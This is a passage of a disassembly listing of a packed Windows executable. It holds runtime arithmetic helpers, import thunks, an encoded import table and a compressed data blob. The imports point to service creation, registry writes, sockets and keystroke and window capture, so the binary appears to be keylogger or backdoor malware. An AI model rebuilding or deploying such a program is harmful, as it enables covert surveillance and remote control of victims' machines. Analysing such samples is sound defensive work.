; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC76 proc near ; CODE XREF: sub_4086A6+FDp
; sub_4086A6+122p
jmp dword_401124
sub_40AC76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC7C proc near ; CODE XREF: sub_4086A6+3Cp
jmp dword_401120
sub_40AC7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AC82 proc near ; CODE XREF: sub_4098E2+358p
; sub_40A77F+66p
jmp dword_40111C
sub_40AC82 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AC90 proc near ; CODE XREF: sub_409C9D+4Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_40ACB1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_40AD01
; ---------------------------------------------------------------------------
loc_40ACB1: ; CODE XREF: sub_40AC90+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_40ACBF: ; CODE XREF: sub_40AC90+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_40ACBF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_40ACEA
cmp edx, [esp+4+arg_4]
ja short loc_40ACEA
jb short loc_40ACF2
cmp eax, [esp+4+arg_0]
jbe short loc_40ACF2
loc_40ACEA: ; CODE XREF: sub_40AC90+4Aj
; sub_40AC90+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_40ACF2: ; CODE XREF: sub_40AC90+52j
; sub_40AC90+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_40AD01: ; CODE XREF: sub_40AC90+1Fj
pop ebx
retn 10h
sub_40AC90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AD10 proc near ; CODE XREF: sub_409C9D+29p
; sub_409C9D+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_40AD32
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_40AD73
; ---------------------------------------------------------------------------
loc_40AD32: ; CODE XREF: sub_40AD10+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_40AD40: ; CODE XREF: sub_40AD10+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_40AD40
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_40AD6E
cmp edx, [esp+8+arg_4]
ja short loc_40AD6E
jb short loc_40AD6F
cmp eax, [esp+8+arg_0]
jbe short loc_40AD6F
loc_40AD6E: ; CODE XREF: sub_40AD10+4Ej
; sub_40AD10+54j
dec esi
loc_40AD6F: ; CODE XREF: sub_40AD10+56j
; sub_40AD10+5Cj
xor edx, edx
mov eax, esi
loc_40AD73: ; CODE XREF: sub_40AD10+20j
pop esi
pop ebx
retn 10h
sub_40AD10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AD78 proc near ; CODE XREF: sub_409D65+E9p
; sub_40A8E0+50p
jmp dword_401118
sub_40AD78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AD7E proc near ; CODE XREF: sub_409D65+56p
jmp dword_401114
sub_40AD7E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AD90 proc near ; CODE XREF: sub_409D65+43p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_40ADB1
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_40ADB1: ; CODE XREF: sub_40AD90+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_40ADCD
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_40ADCD: ; CODE XREF: sub_40AD90+27j
or eax, eax
jnz short loc_40ADE9
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_40AE2A
; ---------------------------------------------------------------------------
loc_40ADE9: ; CODE XREF: sub_40AD90+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_40ADF7: ; CODE XREF: sub_40AD90+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_40ADF7
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_40AE25
cmp edx, [esp+0Ch+arg_4]
ja short loc_40AE25
jb short loc_40AE26
cmp eax, [esp+0Ch+arg_0]
jbe short loc_40AE26
loc_40AE25: ; CODE XREF: sub_40AD90+85j
; sub_40AD90+8Bj
dec esi
loc_40AE26: ; CODE XREF: sub_40AD90+8Dj
; sub_40AD90+93j
xor edx, edx
mov eax, esi
loc_40AE2A: ; CODE XREF: sub_40AD90+57j
dec edi
jnz short loc_40AE34
neg edx
neg eax
sbb edx, 0
loc_40AE34: ; CODE XREF: sub_40AD90+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_40AD90 endp
; ---------------------------------------------------------------------------
loc_40AE3A: ; CODE XREF: MEW:0040AFF9j
jmp dword_401110
; =============== S U B R O U T I N E =======================================
sub_40AE40 proc near ; CODE XREF: MEW:00409FA6p
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_40AE40 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AE60 proc near ; CODE XREF: sub_40A9CA+1Dp
jmp dword_40110C
sub_40AE60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AE66 proc near ; CODE XREF: sub_407F46+133p
jmp dword_401204
sub_40AE66 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40AE70 proc near ; CODE XREF: MEW:0040A016p
; MEW:0040A044p ...
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_40AEDF
retn 4
sub_40AE70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE7E proc near ; CODE XREF: MEW:0040A035p
; MEW:0040A0B7p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
and [ebp+var_4], 0
test eax, eax
jz short loc_40AED0
mov ecx, [eax]
lea edx, [ebp+arg_4]
push edx
push offset dword_404370
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_40AED0
mov eax, [ebp+arg_4]
push esi
push [ebp+arg_8]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
mov esi, eax
mov eax, [ebp+arg_4]
push eax
mov ecx, [eax]
call dword ptr [ecx+8]
test esi, esi
pop esi
jnz short loc_40AED0
lea eax, [ebp+var_4]
push eax
push 0
call dword_4011C0
test eax, eax
jz short loc_40AED0
and [ebp+var_4], 0
loc_40AED0: ; CODE XREF: sub_40AE7E+Dj
; sub_40AE7E+1Fj ...
push [ebp+var_4]
push [ebp+arg_0]
call sub_40AEDF
leave
retn 0Ch
sub_40AE7E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AEDF proc near ; CODE XREF: sub_40AE70+6p
; sub_40AE7E+58p
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
lea ecx, [ebp+var_10]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40AF03
lea eax, [ebp+var_10]
push offset dword_40B068
push eax
call sub_40AFC6
sub_40AEDF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40AF03 proc near ; CODE XREF: sub_40AEDF+11p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
mov eax, [esp+arg_0]
push esi
mov esi, ecx
and dword ptr [esi+0Ch], 0
mov [esi+4], eax
mov eax, [esp+4+arg_4]
mov dword ptr [esi], offset off_404494
test eax, eax
mov [esi+8], eax
jz short loc_40AF2F
cmp [esp+4+arg_8], 0
jz short loc_40AF2F
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_40AF2F: ; CODE XREF: sub_40AF03+1Dj
; sub_40AF03+24j
mov eax, esi
pop esi
retn 0Ch
sub_40AF03 endp
; =============== S U B R O U T I N E =======================================
sub_40AF35 proc near ; DATA XREF: MEW:off_404494o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40AF7E
test [esp+4+arg_0], 1
jz short loc_40AF4B
push esi
call sub_40AC40
pop ecx
loc_40AF4B: ; CODE XREF: sub_40AF35+Dj
mov eax, esi
pop esi
retn 4
sub_40AF35 endp
; ---------------------------------------------------------------------------
mov eax, [esp+4]
push esi
mov esi, ecx
mov ecx, [eax+4]
mov [esi+4], ecx
mov eax, [eax+8]
and dword ptr [esi+0Ch], 0
mov [esi+8], eax
test eax, eax
mov dword ptr [esi], offset off_404494
jz short loc_40AF78
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_40AF78: ; CODE XREF: MEW:0040AF70j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_40AF7E proc near ; CODE XREF: sub_40AF35+3p
; DATA XREF: MEW:0040B06Co
push esi
mov esi, ecx
mov eax, [esi+8]
mov dword ptr [esi], offset off_404494
test eax, eax
jz short loc_40AF94
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_40AF94: ; CODE XREF: sub_40AF7E+Ej
mov esi, [esi+0Ch]
test esi, esi
jz short loc_40AFA2
push esi
call dword_4010C0 ; LocalFree
loc_40AFA2: ; CODE XREF: sub_40AF7E+1Bj
pop esi
retn
sub_40AF7E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AFA4 proc near ; CODE XREF: sub_404530+1CEp
; sub_404530+38Cp ...
jmp dword_401104
sub_40AFA4 endp
; =============== S U B R O U T I N E =======================================
sub_40AFAA proc near ; DATA XREF: MEW:off_40449Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40AFCC
test [esp+4+arg_0], 1
jz short loc_40AFC0
push esi
call sub_40AC40
pop ecx
loc_40AFC0: ; CODE XREF: sub_40AFAA+Dj
mov eax, esi
pop esi
retn 4
sub_40AFAA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AFC6 proc near ; CODE XREF: sub_40AEDF+1Fp
jmp dword_401108
sub_40AFC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40AFCC proc near ; CODE XREF: sub_40AFAA+3p
jmp dword_40119C
sub_40AFCC endp
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-10h]
jmp loc_40A44F
; ---------------------------------------------------------------------------
loc_40AFDC: ; DATA XREF: MEW:0040B02Co
lea ecx, [ebp-24h]
jmp loc_40A44F
; ---------------------------------------------------------------------------
lea ecx, [ebp-1Ch]
jmp loc_40A44F
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40A44F
; ---------------------------------------------------------------------------
loc_40AFF4: ; DATA XREF: MEW:loc_409FA1o
mov eax, offset dword_40B000
jmp loc_40AE3A
; ---------------------------------------------------------------------------
align 10h
dword_40B000 dd 19930520h, 4, 40B020h, 5 dup(0) dd 0FFFFFFFFh, 40AFD4h, 0
dd offset loc_40AFDC
dd 1, 40AFE4h, 2, 40AFECh, 0
dd offset dword_404370+10h
dd 0
dd 0FFFFFFFFh, 0
dd 10h, 40AF51h, 0
dword_40B060 dd 1, 40B040h dword_40B068 dd 0 dd offset sub_40AF7E
dd 0
dd offset dword_40B060
byte_40B078 db 0 ; DATA XREF: MEW:off_401BA0o
; MEW:00406EC3r ...
align 10h
dword_40B080 dd 6 dup(0) ; sub_407282+2AFo
dword_40B098 dd 0 ; sub_407E2D+3Cr ...
dword_40B09C dd 0 ; sub_4086A6+EEr ...
dword_40B0A0 dd 0 ; sub_408C2B:loc_408C51o ...
dword_40B0A4 dd 0 ; sub_408C7B+1Bw ...
dword_40B0A8 dd 0 ; sub_408C7B+77w ...
dword_40B0AC dd 0 dword_40B0B0 dd 0 dword_40B0B4 dd 0 dword_40B0B8 dd 0 dword_40B0BC dd 0 ; sub_408C2B+35r ...
dword_40B0C0 dd 0 ; sub_408C7B+85w ...
align 8
dword_40B0C8 dd 0 ; sub_404530+95Dr ...
align 10h
word_40B0D0 dw 0 ; DATA XREF: sub_404530+15Er
; MEW:00407013r ...
byte_40B0D2 db 0 ; DATA XREF: sub_408C7B+96r
; sub_40933F+2Cw ...
align 8
dword_40B0D8 dd 0 ; sub_40A45C+DCw ...
dword_40B0DC dd 0 ; sub_40A45C+6Fw ...
dword_40B0E0 dd 0 ; sub_40785E+41r ...
dword_40B0E4 dd 0 ; sub_40785E+ACr ...
dword_40B0E8 dd 0 ; sub_40A56C+53w ...
dword_40B0EC dd 0 ; sub_40A56C+4Dw
dword_40B0F0 dd 0 dword_40B0F4 dd 53h dup(0) byte_40B240 db 0 ; DATA XREF: sub_404530+236r
; sub_404530+252w ...
align 4
dword_40B244 dd 0 ; sub_404530+166r ...
byte_40B248 db 0 ; DATA XREF: sub_404530+93Fw
; sub_407207:loc_407233r ...
align 2
word_40B24A dw 0 ; DATA XREF: sub_404530+AB0r
; sub_405DB7+48r ...
align 10h
dword_40B250 dd 0 ; sub_404530+7A9o
word_40B254 dw 0 ; DATA XREF: sub_404530+5CEw
; sub_404530:loc_404B0Ar ...
align 4
dword_40B258 dd 0 ; sub_404530+600w
dword_40B25C dd 0 dword_40B260 dd 0 dword_40B264 dd 0 ; sub_404530:loc_404C85w ...
dword_40B268 dd 0 ; sub_404530+731w
byte_40B26C db 0 ; DATA XREF: sub_404530+77Bw
; sub_404530+79Bw
align 10h
dword_40B270 dd 0 ; sub_407F46+525w ...
byte_40B274 db 0 ; DATA XREF: sub_404530+31Aw
; sub_405185+D5r ...
align 4
dword_40B278 dd 0 ; sub_4055A6+1DEr ...
dword_40B27C dd 0 ; sub_405185+8Fw ...
dword_40B280 dd 0 ; sub_405185+94r ...
dword_40B284 dd 23h dup(0) dword_40B310 dd 41h dup(0) dword_40B414 dd 52Ah dup(0) dd offset dword_401044
dd 4E52454Bh, 32334C45h, 6C6C642Eh, 65478000h, 73614C74h
dd 72724574h, 8000726Fh, 61657243h, 754D6574h, 41786574h
dd 65538000h, 6C694674h, 6D695465h, 47800065h, 69467465h
dd 6954656Ch, 8000656Dh, 61657243h, 69466574h, 41656Ch
dd 61655380h, 50686372h, 41687461h, 78458000h, 646E6170h
dd 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h, 417367h
dd 74655380h, 656C6946h, 72747441h, 74756269h, 417365h
dd 74654780h, 656C6946h, 72747441h, 74756269h, 417365h
dd 69725780h, 69466574h, 8000656Ch, 54746547h, 50706D65h
dd 41687461h, 65528000h, 7361656Ch, 74754D65h, 80007865h
dd 6E65704Fh, 6574754Dh, 80004178h, 79706F43h, 656C6946h
dd 6C800041h, 63727473h, 417461h, 65724380h, 45657461h
dd 746E6576h, 53800041h, 72457465h, 4D726F72h, 65646Fh
dd 65724680h, 62694C65h, 79726172h, 65478000h, 6F725074h
dd 64644163h, 73736572h, 6F4C8000h, 694C6461h, 72617262h
dd 80004179h, 72657551h, 72655079h, 6D726F66h, 65636E61h
dd 71657246h, 636E6575h, 51800079h, 79726575h, 66726550h
dd 616D726Fh, 4365636Eh, 746E756Fh, 80007265h, 56746547h
dd 69737265h, 78456E6Fh, 47800041h, 61626F6Ch, 6D654D6Ch
dd 5379726Fh, 75746174h, 6C800073h, 63727473h, 417970h
dd 74736C80h, 79706372h, 8000416Eh, 7274736Ch, 41706D63h
dd 65538000h, 72685474h, 50646165h, 726F6972h, 797469h
dd 65724380h, 50657461h, 65636F72h, 417373h, 69615780h
dd 726F4674h, 676E6953h, 624F656Ch, 7463656Ah, 6C438000h
dd 4865736Fh, 6C646E61h, 4C800065h, 6C61636Fh, 65657246h
dd 65538000h, 65764574h, 8000746Eh, 4D746547h, 6C75646Fh
dd 6E614865h, 41656C64h, 736C8000h, 656C7274h, 8000416Eh
dd 4D746547h, 6C75646Fh, 6C694665h, 6D614E65h, 80004165h
dd 61657243h, 68546574h, 64616572h, 65448000h, 6574656Ch
dd 74697243h, 6C616369h, 74636553h, 6E6F69h, 696E4980h
dd 6C616974h, 43657A69h, 69746972h, 536C6163h, 69746365h
dd 6E416E6Fh, 69705364h, 756F436Eh, 8000746Eh, 65746E45h
dd 69724372h, 61636974h, 6365536Ch, 6E6F6974h, 65548000h
dd 6E696D72h, 54657461h, 61657268h, 4C800064h, 65766165h
dd 74697243h, 6C616369h, 74636553h, 6E6F69h, 69784580h
dd 72685474h, 646165h, 69784580h, 6F725074h, 73736563h
dd 6C538000h, 706565h, 74654780h, 74737953h, 69446D65h
dd 74636572h, 4179726Fh, 65478000h, 63695474h, 756F436Bh
dd 0FF00746Eh, 0D0FFFFFFh, 55004011h, 33524553h, 6C642E32h
dd 4780006Ch, 69577465h, 776F646Eh, 74786554h, 47800041h
dd 6F467465h, 72676572h, 646E756Fh, 646E6957h, 8000776Fh
dd 41746547h, 636E7973h, 5379654Bh, 65746174h, 73778000h
dd 6E697270h, 416674h, 74654780h, 5379654Bh, 65746174h
dd 0FFFFFF00h, 401000FFh, 56444100h, 33495041h, 6C642E32h
dd 4380006Ch, 74616572h, 72655365h, 65636976h, 43800041h
dd 676E6168h, 72655365h, 65636976h, 666E6F43h, 41326769h
dd 74538000h, 53747261h, 69767265h, 416563h, 67655280h
dd 61657243h, 654B6574h, 41784579h, 65528000h, 65704F67h
dd 79654B6Eh, 417845h, 67655280h, 56746553h, 65756C61h
dd 417845h, 67655280h, 736F6C43h, 79654B65h, 704F8000h
dd 43536E65h, 616E614Dh, 41726567h, 704F8000h, 65536E65h
dd 63697672h, 80004165h, 736F6C43h, 72655365h, 65636976h
dd 646E6148h, 8000656Ch, 69676552h, 72657473h, 76726553h
dd 43656369h, 486C7274h, 6C646E61h, 417265h, 61745380h
dd 65537472h, 63697672h, 72744365h, 7369446Ch, 63746170h
dd 41726568h, 65448000h, 6574656Ch, 76726553h, 656369h
dd 6E6F4380h, 6C6F7274h, 76726553h, 656369h, 67655280h
dd 6D756E45h, 4579654Bh, 80004178h, 53746553h, 69767265h
dd 74536563h, 73757461h, 0FFFFFF00h, 4011C8FFh, 45485300h
dd 32334C4Ch, 6C6C642Eh, 68538000h, 456C6C65h, 75636578h
dd 416574h, 0FFFFFFFFh, 4011A4h, 4342444Fh, 642E3233h
dd 6C6Ch, 170000h, 4A0000h, 280000h, 20000h, 0A0000h, 0FF1E0000h
dd 4FFFFFFh, 4D004011h, 52435653h, 6C642E54h, 5F80006Ch
dd 63727473h, 69706Dh, 78435F80h, 72685478h, 7845776Fh
dd 74706563h, 6E6F69h, 6D656D80h, 706D63h, 435F5F80h, 72467878h
dd 48656D61h, 6C646E61h, 80007265h, 6C696563h, 735F8000h
dd 6972706Eh, 66746Eh, 72747380h, 746163h, 72747380h, 72686372h
dd 77668000h, 65746972h, 735F8000h, 696E7274h, 706D63h
dd 72747380h, 726863h, 63737380h, 666E61h, 72747380h, 6C756F74h
dd 74738000h, 61636E72h, 73800074h, 6E697270h, 80006674h
dd 73727473h, 80007274h, 63727473h, 80007970h, 40323F3Fh
dd 41504159h, 5A404958h, 74618000h, 8000696Fh, 63727473h
dd 8000706Dh, 74727473h, 80006B6Fh, 6378655Fh, 5F747065h
dd 646E6168h, 3372656Ch, 665F8000h, 6C6F74h, 70737680h
dd 746E6972h, 73800066h, 656C7274h, 6D80006Eh, 65736D65h
dd 66800074h, 656572h, 61657280h, 636F6C6Ch, 616D8000h
dd 636F6C6Ch, 74738000h, 70636E72h, 6D800079h, 70636D65h
dd 72800079h, 646E61h, 61727380h, 8000646Eh, 40333F3Fh
dd 50584159h, 5A405841h, 63668000h, 65736F6Ch, 72668000h
dd 646165h, 706F6680h, 80006E65h, 65657366h, 3F80006Bh
dd 7974313Fh, 695F6570h, 406F666Eh, 45415540h, 5A5840h
dd 0FFFFFFFFh, 4011E8h, 494E4957h, 2E54454Eh, 6C6C64h
dd 746E4980h, 656E7265h, 74654774h, 6E6E6F43h, 65746365h
dd 61745364h, 0FF006574h, 0F0FFFFFFh, 57004011h, 335F3253h
dd 6C642E32h, 6Ch, 1100h, 0D00h, 0
dd 57801000h, 6F534153h, 74656B63h, 41h, 9600h, 3200h
dd 400h, 0C00h, 100h, 1400h, 1500h, 0B00h, 3800h, 7200h
dd 6E00h, 800h, 1600h, 300h, 0F00h, 200h, 1200h, 7300h
dd 0A00h, 3300h, 700h, 1300h, 0FFFF0900h, 11C0FFFFh, 4C4F0040h
dd 54554145h, 642E3233h, 6C6Ch, 80C70000h, 0
MEW ends
; Section 2. (virtual address 0000D000)
; Virtual size : 00014000 ( 81920.)
; Section size in file : 00014000 ( 81920.)
; Offset to raw data for section: 0000D000
; Flags C00000E0: Text Data Bss Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Uninitialized
; Segment permissions: Read/Write
__u_____ segment para public 'BSS' use32
assume cs:__u_____
;org 40D000h
assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing
dword_40D000 dd 0FF41C933h, 0FFC91313h, 0C3F87213h, 7C801D77h, 7C80ADA0h
; DATA XREF: __u_____:0040D018o
dd 0
dd offset dword_40D000
dd 40012Ch, 40950Fh, 40C8BCh, 40103844h, 52454B07h, 334C304Eh
dd 64382E32h, 800FF06Ch, 87746547h, 45437361h, 9E6F8B72h
dd 0FF43771Ch, 4D33E7F7h, 78081975h, 87531C41h, 6C694638h
dd 6D4754F7h, 0D0E53FDh, 10412842h, 0E3CF2717h, 74506863h
dd 451BC322h, 6EF17078h, 7699DB64h, 6FA2BC69h, 53746756h
dd 14FF3E2Fh, 0A74F7367h, 6225D9AEh, 2973C791h, 57591447h
dd 225C16A1h, 29547B1Fh, 9F5C706Dh, 1128B452h, 1C989FACh
dd 0BCD0704Fh, 6F43A1AAh, 8E5D79F5h, 8ECD88D6h, 0A5AA6037h
dd 0AA764550h, 197E1285h, 64CD4DE5h, 3846B39Bh, 0E47E4CB3h
dd 5379BAA1h, 340E5066h, 39644163h, 3EC7732Ch, 613D4C20h
dd 73611DD3h, 99657551h, 66085010h, 0DB6D7894h, 77E6633Eh
dd 12CA2671h, 81541B79h, 0D8B47587h, 56524C1Eh, 69487310h
dd 9F452903h, 9D6CBC3Fh, 4D146162h, 795064CAh, 95051084h
dd 0A8747375h, 0A41B60Ah, 0B646EE5h, 85AFF011h, 0C14A6854h
dd 8C359A64h, 0D079114Ah, 0AAA1252h, 0D06F28A6h, 53384632h
dd 0FA015F4Ah, 0D16A624Fh, 4B6AFF63h, 481222D6h, 903F8354h
dd 0EE6334C9h, 0FF65EB24h, 9C350A24h, 6C750445h, 76362634h
dd 96EAFB12h, 1F4DA41Ch, 0E46D614Eh, 8D335A47h, 84441C24h
dd 0AE431CB2h, 53B95992h, 0CEE5E9A2h, 239B492Eh, 7A57207Ch
dd 0C8418D1Bh, 0A24570E9h, 1E951A34h, 3D7C1F24h, 6D28CD54h
dd 32650B46h, 95760C4Ch, 0D14B2864h, 0C902222h, 0DC450A57h
dd 70859307h, 79A5BD37h, 2666CB14h, 69357C44h, 8CD26C51h
dd 0AC6B8C54h, 3FF6280h, 3C011D0h, 4B05355h, 57E60199h
dd 506FF6FAh, 0F5788677h, 766F9237h, 6579678Eh, 111A4964h
dd 20734115h, 4B7863A2h, 50AAC091h, 704D777Fh, 66527CD8h
dd 41184732h, 10C162h, 0E6564441h, 64495650h, 0C9414356h
dd 6316C1DEh, 68245323h, 1067157Bh, 777C9B90h, 0D932FC66h
dd 0CE72872Fh, 0EF902694h, 68396752h, 1121F0BDh, 0F48F524h
dd 56D6A45Ah, 86842284h, 0FE361065h, 1F1E9B41h, 0D04DDB53h
dd 7229D296h, 81A11041h, 800A51CDh, 7FA62D48h, 723E24FDh
dd 142497A5h, 0D73F1BA1h, 341AD09Bh, 0E8C75644h, 3BF60D8Bh
dd 1E901422h, 0D10DBBDAh, 5D6CD144h, 0F8B3A810h, 0B76D7529h
dd 4919304Dh, 34520B37h, 7F11C810h, 5897485Ch, 0B6DDB798h
dd 13600EB5h, 41E24AC8h, 5A49123h, 4342444Fh, 64032236h
dd 484A0917h, 22029128h, 2B1E500Ah, 534D8804h, 52435608h
dd 5F806254h, 696357CCh, 8C784315h, 0D41A44D5h, 708004B6h
dd 0E62158D9h, 393B68CBh, 242E261Dh, 0B6F8A3F6h, 69554826h
dd 0ED4CFE3Fh, 5D6416D6h, 0F4580856h, 0B9776645h, 266321AEh
dd 23913404h, 5EEC6824h, 926E5672h, 628D4234h, 6E092554h
dd 4F2D3E24h, 0B24F07A2h, 3F10CE02h, 59403222h, 58913963h
dd 0B15ADD49h, 696F561Ch, 570D1C49h, 0D56B2099h, 0DDBB4D65h
dd 33A55868h, 326625CDh, 5776BF94h, 0DA8C34E6h, 0E12EE3F7h
dd 2A690366h, 33260D4Ch, 8342F34h, 0ACEE9036h, 0FE088302h
dd 72FD0A7h, 33228C90h, 88D5855h, 634C668Ch, 4C4B9133h
dd 0A8FE9F80h, 0BFFD6170h, 2B6BA826h, 66A1315Ch, 0CEFC5F22h
dd 55234030h, 58A94541h, 22B4235Ah, 495719E8h, 2745044Eh
dd 1B97C8Ah, 3594513Ah, 99272534h, 641E6312h, 0F08A3A63h
dd 32923F2Fh, 11E3385Fh, 6140D89h, 38801001h, 0B9A14172h
dd 38D656Bh, 9229610h, 0C044432h, 14120189h, 0B481524h
dd 72223891h, 89086E44h, 24031216h, 122FDC0Fh, 37377389h
dd 7093332h, 94A1324h, 40C0448Bh, 41454C4Fh, 8D545355h
dd 80C786h, 411FDFh, 8613883h, 4490074h, 6A5756FFh, 110E8905h
dd 41018B5Ah, 0E6C10871h, 3B60FCCh, 40F70B38h, 1A73894Ah
dd 0EA750101h, 56C35E5Fh, 33043083h, 79B057C0h, 0D2078508h
dd 55532D7Eh, 0EED1DAF1h, 0E3BE0C8h, 2B0472FEh, 81010C83h
dd 0D8020DC7h, 8B0C1073h, 79E7C111h, 0B85C32Ah, 0A00342FDh
dd 5DD9754Bh, 0CA68BE5Bh, 0B6440490h, 0C601845Ch, 0C139B70Fh
dd 0AFD80BE8h, 7AFEC7h, 73F83B08h, 442893Fh, 2CF0666Ch
dd 0A3BF70F0h, 9E868Ch, 305FFC1h, 398966F8h, 3D308B65h
dd 4D19574Fh, 9618740Ah, 0E5418139h, 1EA0B7E0h, 80710A36h
dd 393FEB92h, 0F837F02Bh, 9ADBBF20h, 0DD068D6Fh, 5EEC181h
dd 80BEC62Bh, 2A6ABC42h, 80985801h, 5051ECCDh, 0C7DA9953h
dd 0B0DB851Ch, 1A7E58F9h, 5D89560Fh, 855E1FCh, 98C3348Dh
dd 31E83E0Ch, 302FF45h, 0FC4DD4C6h, 5EEB7518h, 0CB8B46h
dd 0E2D35F5Ah, 0C9C22B5Bh, 46E104E4h, 8978773Ah, 0FF33F807h
dd 3D5C7D39h, 0F05A7DD9h, 207E19FCh, 40127856h, 0E81E0C42h
dd 6F7F066Fh, 144FCFh, 4509E0D3h, 3B4730FCh, 5EE27C4Eh
dd 5F148B62h, 5342B05Bh, 7599A156h, 7EEA040h, 906576D0h
dd 0F989811Fh, 0A5FCA094h, 8C8D0903h, 38D0238h, 0FEC5E8C0h
dd 83D8830Fh, 0F03BA0CBh, 51812B75h, 288AD1FBh, 6C323D7Dh
dd 6BC2FCC8h, 0A301468Dh, 0DC303D5h, 97E847DEh, 0BDBE85Dh
dd 0D1EBD80Ah, 3B032ABEh, 6D117DDEh, 0EC38244Bh, 718B7BE8h
dd 8A5F0A35h, 997E5EC3h, 0C8FADA56h, 6360E8F1h, 75C08531h
dd 1A44FA16h, 94570C24h, 5A031780h, 30774C8Dh, 31E3E830h
dd 7D8B3BEBh, 24E3ED7h, 19243F2Ah, 4B1B7557h, 4D42B610h
dd 8C8C4148h, 37BCE8C7h, 8C00583h, 56A11EBh, 42048E8Ah
dd 0A9E85AB3h, 841013A4h, 0BEE3675Dh, 0AD534041h, 4589C850h
